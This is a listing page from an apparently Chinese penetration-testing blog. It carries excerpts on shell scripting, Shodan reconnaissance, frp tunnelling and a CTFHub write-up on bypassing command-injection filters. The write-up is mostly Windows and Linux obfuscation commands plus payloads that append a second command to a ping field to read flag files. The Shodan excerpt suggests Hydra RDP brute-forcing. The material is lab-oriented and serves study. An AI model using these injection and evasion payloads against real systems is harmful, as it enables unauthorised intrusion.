首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,190 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
70
篇与
的结果
2025-05-18
kali Linux Shell编程:基础到进阶
kali Linux Shell编程:基础到进阶在Linux系统中,Shell编程是一项基本技能,它不仅能够提高系统操作效率,还能让你更好地理解和掌控Linux。本文将带领你从Shell编程的基础入门,逐步进阶到复杂应用,通过改写和扩展原有内容,使内容更加丰富且保持低重复率。一、Shell编程基础1. Shell简介Shell是一种命令行界面,用于用户与操作系统进行交互。它也是一种脚本语言,允许用户编写程序自动执行一系列命令。Linux系统中常见的Shell类型包括bash、zsh、csh等,其中bash是最常用的Shell之一。代码示例:#!/bin/bash echo "Hello, Shell World!"以上脚本使用bash Shell,打印“Hello, Shell World!”。2. 创建和执行Shell脚本创建Shell脚本的第一步是创建一个文本文件,并写入Shell命令。然后,你需要给这个文件添加执行权限,最后通过终端执行它。示例步骤:使用文本编辑器(如vim或nano)创建脚本文件,例如hello.sh。在文件中写入以下内容:#!/bin/bash # A simple hello world script echo "Hello, World from a Shell Script!"保存并退出编辑器。给脚本文件添加执行权限:chmod +x hello.sh。执行脚本:./hello.sh。3. Shell脚本的基本语法Shell脚本的基本语法包括变量定义、条件语句、循环语句等。变量定义与使用:#!/bin/bash # Define a variable name="John Doe" # Use the variable echo "Hello, $name!"条件语句:Shell脚本中的条件语句主要有if、elif、else。#!/bin/bash # Check the number of arguments if [ $# -eq 0 ]; then echo "No arguments provided." elif [ $# -eq 1 ]; then echo "One argument provided: $1" else echo "Multiple arguments provided." fi4. Shell中的循环Shell支持多种循环,包括for循环和while循环。For循环:#!/bin/bash # Loop through numbers 1 to 5 for i in {1..5}; do echo "Number $i" doneWhile循环:#!/bin/bash counter=1 while [ $counter -le 5 ]; do echo "Number $counter" ((counter++)) done二、Shell编程进阶1. 函数定义与调用在Shell脚本中,函数允许你将代码块封装起来,以便在脚本中重复使用。#!/bin/bash # Define a function greet() { echo "Hello, $1!" } # Call the function greet "Alice" greet "Bob"2. 数组的使用Shell脚本支持一维数组,可以通过索引来访问数组元素。#!/bin/bash # Declare an array fruits=("Apple" "Banana" "Cherry") # Iterate through the array for fruit in "${fruits[@]}"; do echo "$fruit" done3. 正则表达式与文本处理Shell脚本中可以使用正则表达式来匹配文本字符串。grep命令是处理文本和正则表达式的好帮手。#!/bin/bash # Use grep to find lines containing 'error' grep "error" log.txt使用awk和sed工具可以进行更复杂的文本处理。使用awk处理文本:#!/bin/bash # Print the first and third fields of each line in a file awk '{print $1, $3}' file.txt4. 读取用户输入Shell脚本可以读取用户输入,用于交互式操作。#!/bin/bash # Read user input echo "Enter your name: " read name echo "Hello, $name!"5. 文件与目录操作Shell脚本提供了丰富的命令来操作文件和目录,如ls、cp、mv、rm等。列出当前目录下的所有文件:#!/bin/bash # List all files in the current directory ls -l复制文件:#!/bin/bash # Copy a file cp source.txt destination.txt6. Shell脚本的调试调试Shell脚本时,可以使用-x选项来跟踪脚本的执行过程。bash -x script.sh三、高级Shell编程技巧1. 子Shell与进程控制在Shell脚本中,可以通过括号()来创建一个子Shell,子Shell会继承父Shell的环境,但在子Shell中做的任何修改都不会影响到父Shell。#!/bin/bash # Create a subshell (cd /tmp; ls)2. 陷阱信号与信号处理Shell脚本可以捕获和处理系统发出的信号,如SIGINT(通常通过Ctrl+C产生)。#!/bin/bash # Trap SIGINT trap 'echo "Caught SIGINT"; exit' SIGINT echo "Script is running. Try pressing Ctrl+C." while true; do sleep 1 done3. 并发执行与等待Shell脚本可以利用&将命令放入后台执行,并使用wait命令等待后台进程完成。#!/bin/bash # Run commands in the background command1 & command2 & # Wait for all background processes to finish wait结语通过本文的改写和扩展,我们详细探讨了Shell编程的基础和进阶内容,包括变量、条件语句、循环、函数、数组、文本处理、用户输入、文件操作、调试以及高级Shell编程技巧。希望这些内容能够帮助你更好地掌握Shell编程,提高在Linux系统中的工作效率。
2025年05月18日
904 阅读
0 评论
0 点赞
2025-05-18
linux进程隐藏
暂无简介
2025年05月18日
1,243 阅读
0 评论
0 点赞
2025-05-18
【kali笔记】shodan的20种使用方法,信息收集必备
【kali笔记】shodan的20种使用方法,信息收集必备Shodan是专注于搜索互联网连接设备的搜索引擎,能发现和分析设备及其漏洞,被誉为“物联网的搜索引擎”。官网获取APIkey:https://developer.shodan.io/眼睛放大一点,APIkey在右上角查看帮助参数详细 Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据使用init初始化API在命令行中直接显示查询结果,例如搜索有关中国上海的服务器,并且开启了3389端口search直接将查询结果展示在命令行中,默认情况下只显示ip、端口号、主机名和http数据。也可以通过使用–fields来自定义显示内容。比如只显示ip、端口号、组织机构、主机名。# 搜索cn 拥有mysql服务,且包含了nginx服务的主机,并显示在终端中 shodan search --fields ip_str,port,org,hostnames mysql country:cn product:'nginx'搜索结果搜索日本的开启3389端口的服务器使用host可以指定IP地址,查看系统详细信息,地理位置、开放端口等这里也可以查看到漏洞信息,像这种不排除是蜜罐查看各种端口信息,比如3389远程端口开启,就能直接使用海德拉(Hydra)进行RDP协议爆破(请勿用于非法用途,造成的后果自行承担)Hydra使用:搜索设备(华为,思科防火墙之类的)使用stats统计nginx全球分布情况,stats通常用来统计数量使用download把这些分布情况下载下来parse可以用来解析数据,多用于python脚本中。通过vuln参数,用户可以指定一个CVE(Common Vulnerabilities and Exposures,通用漏洞披露)编号,来查找那些已知存在该漏洞的设备或服务。这里举例一个MS17-010(永恒之蓝)漏洞永恒之蓝复现过程:其他用法搜索指定的组织或公司 ,org搜索指定的操作系统/软件/平台搜索指定的IP地址或子网使用count命令获取搜索结果的数量使用myip命令获取自身外部可见的IP地址使用info命令查看自身账户的信息,包括认证的信息使用honeyscore命令查看是否有蜜罐保护,这里没计算出来,可以使用在线地址检测https://honeyscore.shodan.io/统计 cn 中使用了ssl的ip地址,并且服务使用了nginx,开启了3389远程端口的主机数量查找SSL证书已过期的设备,这可能是蜜罐的一种特征使用scan命令提交IP进行在线扫描,这里扫了半天没出来,不知道为什么scan参数 -h查看刚刚扫描的结果 listfacets参数在Shodan中的作用是获取特定搜索查询的统计信息,它允许用户对搜索结果中的某些属性进行分组和计数,以了解这些属性值的分布情况。统计指定网络段内与漏洞(vuln)相关的统计信息,并且限制结果只显示前10个最常见的漏洞指定系统oshttp.title查找HTTP响应中标题(title)字段包含特定文本的设备。这个参数可以帮助用户快速定位到具有特定标题的网页,这在渗透测试中尤其有用,因为某些管理界面或特定服务的页面标题可能包含敏感信息或标识。比如,搜索标题中包含"Login"的设备你懂的本期介绍这么多用法,如果还有其他好用的用法,还请师傅们留言指出,让更多的师傅们学习。往期推荐XSS高级用法,SEO优化,挂ma,MS14_064一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析Win11综合渗透系统,第二个”kali“武器库——文末抽黑神话【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS
2025年05月18日
825 阅读
0 评论
0 点赞
2025-05-18
雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器
一、前言很多师傅们不懂内网穿透,还要给一些内网穿透服务商价钱,还不能自定义域名,自定义域名还要费用,并且这个域名还要带着它的主域名,比如服务商的域名是demo.com,而你花钱只能得到它的子域名比如test.demo.com,价格还贵,不好记,那么本篇文章将彻底甩开这类内网穿透的服务商!让您拥有自己的特殊域名,和一个简单企业级的网络防护环境,并且还很便宜,只需要一个雷池跳板服务器即可总体的网络拓步结构,本篇文章会讲VPN的搭建,还有内网环境,frp内网穿透工具,还有雷池waf的介绍,组建我们自己的本机web服务(web服务搭建在自己没有公网ip的电脑或者自己买的服务器上,无需和电信或者移动获取公网IP),并不需要花大量的金钱去租用一个高配置的服务器,我们只需要一个和一个4h4g10M的60块钱/月的网盾云服务器就够了!!!二、服务器选购首先呢,需要一台服务器,这里我用的是网盾云的高防物理服务器,有条件的可以选择物理机,没有条件的可以选择云服务器,4h4g10M只要60元/月,还有100G的DDOS高防,超级划算三、域名选购然后你需要有一个自定义的域名是吧,这里建议使用
2025年05月18日
394 阅读
0 评论
0 点赞
2025-05-18
从0-1讲解RCE漏洞绕过,Windows与LinuxRCE漏洞绕过实战解析
从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了windows/Linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为ctfhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式Windows我们在windows命令行中执行命令的时候,是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前,此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在命令中"在^之后,且带有参数,则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令,net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片,代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数,负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令,这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。┌──(root㉿kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。 &&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如,我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root '',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号,没有获取到想要的结果,因为&&在前一个命令没有执行结束的时候,是不会执行后面的命令的。当然还有种思路就是指定次数,使用-c参数,这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了,没有flag不断执行命令,找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目:过滤了cat命令之后,你还有什么方法能读到 Flag?查看目录,他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分,默认显示最后10行,与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk命令以类似于cat的方式显示文件内容,同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码,使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload:127.0.0.1&ls<>/var/www/html/经过测试,上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?直接使用ls查看目录,没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可,一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目:过滤了几个运算符, 要怎么绕过呢?分析源码,过滤了运算符,但是也没完全过滤,少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细我的《护网奇遇记》
2025年05月18日
737 阅读
0 评论
0 点赞
1
...
5
6
7
...
14